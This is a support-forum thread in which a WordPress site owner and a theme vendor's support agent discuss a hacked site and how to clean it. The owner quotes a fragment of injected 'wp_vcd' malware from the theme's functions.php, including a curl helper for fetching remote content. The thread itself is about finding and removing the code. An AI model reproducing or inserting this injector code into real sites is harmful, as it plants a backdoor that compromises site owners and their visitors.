Hey, we're seeing a recent error display on the live site [and backend]:
Notice: Use of undefined constant REQUEST_URI - assumed 'REQUEST_URI' in /home/[removed]/public_html/wp-content/themes/thegem-child/functions.php on line 73
I removed malicious code from the functions.php of the mail theme and child theme. You need to check all the themes you installed and remove this code:
All the themes currently installed are from WordPress, but If anyone else is curious we've deleted the following themes completely:
SocialMag
Leto
PhotoBlogster
ClubFitness
We only have TheGem + Child Theme and WordPress' Twenty Fifteen, Sixteen, and Seventeen default themes. Lets us know if we should scan/delete those as well. We did not install those, they came with WordPress.
Should we install a security plugin? What do you recommend we do now?
Thank you very much. All themes are from WordPress repository but I will change my FTP & WP admin pass now. Did you also find the malicious code in one of our plugins?
We are still unsure where the hack came from. We don't know how to really prevent this in the future.
Hey, we're seeing a recent error display on the live site [and backend]:
Notice: Use of undefined constant REQUEST_URI - assumed 'REQUEST_URI' in /home/[removed]/public_html/wp-content/themes/thegem-child/functions.php on line 73
- Line 73:
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
- Line 70 - 87:
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
Hi,
You site had been hacked.
I removed malicious code from the functions.php of the mail theme and child theme. You need to check all the themes you installed and remove this code:
Please note if you comment on your ticket before we reply, your ticket will be pushed down of the tickets list.
Regards, Oliver
Thank you so much Gregor!
All the themes currently installed are from WordPress, but If anyone else is curious we've deleted the following themes completely:
We only have TheGem + Child Theme and WordPress' Twenty Fifteen, Sixteen, and Seventeen default themes. Lets us know if we should scan/delete those as well. We did not install those, they came with WordPress.
Should we install a security plugin? What do you recommend we do now?
Try to download all the wordpress to your PC and search:
So you'll see where malicious code added... After remove it on your server.
Please note if you comment on your ticket before we reply, your ticket will be pushed down of the tickets list.
Regards, Oliver
I can't search directly in files using FileZilla (FTP).
I'm recommended to use something called SSH and
grep -rli "searchstring" *
Can I copy the entire public_html folder from FileZilla to my PC and search using windows explorer?
Yes.
Please note if you comment on your ticket before we reply, your ticket will be pushed down of the tickets list.
Regards, Oliver
No, you didn't remove it, example:
/public_html/wp-content/themes/twentysixteen/functions.php
In the top
Please note if you comment on your ticket before we reply, your ticket will be pushed down of the tickets list.
Regards, Oliver
Change the pass to FTP and WP admin and don't install the themes and plugins from the unverified sources.
Please note if you comment on your ticket before we reply, your ticket will be pushed down of the tickets list.
Regards, Oliver
Thank you very much. All themes are from WordPress repository but I will change my FTP & WP admin pass now. Did you also find the malicious code in one of our plugins?
We are still unsure where the hack came from. We don't know how to really prevent this in the future.
I didn't looked in the plugins. You need to find malicious code yourself.
Please note if you comment on your ticket before we reply, your ticket will be pushed down of the tickets list.
Regards, Oliver
um...?? I was not asking you to check my plugins. You said not to install plugins from unverified sources...
You made it sound like you had found something malicious.
But thanks anyway i guess
Hi,
Most likely you got this issue from the one of the third-party plugin. So in my mind you need to check folder:
/wp-content/plugins
Deeply.
Please note if you comment on your ticket before we reply, your ticket will be pushed down of the tickets list.
Regards, Oliver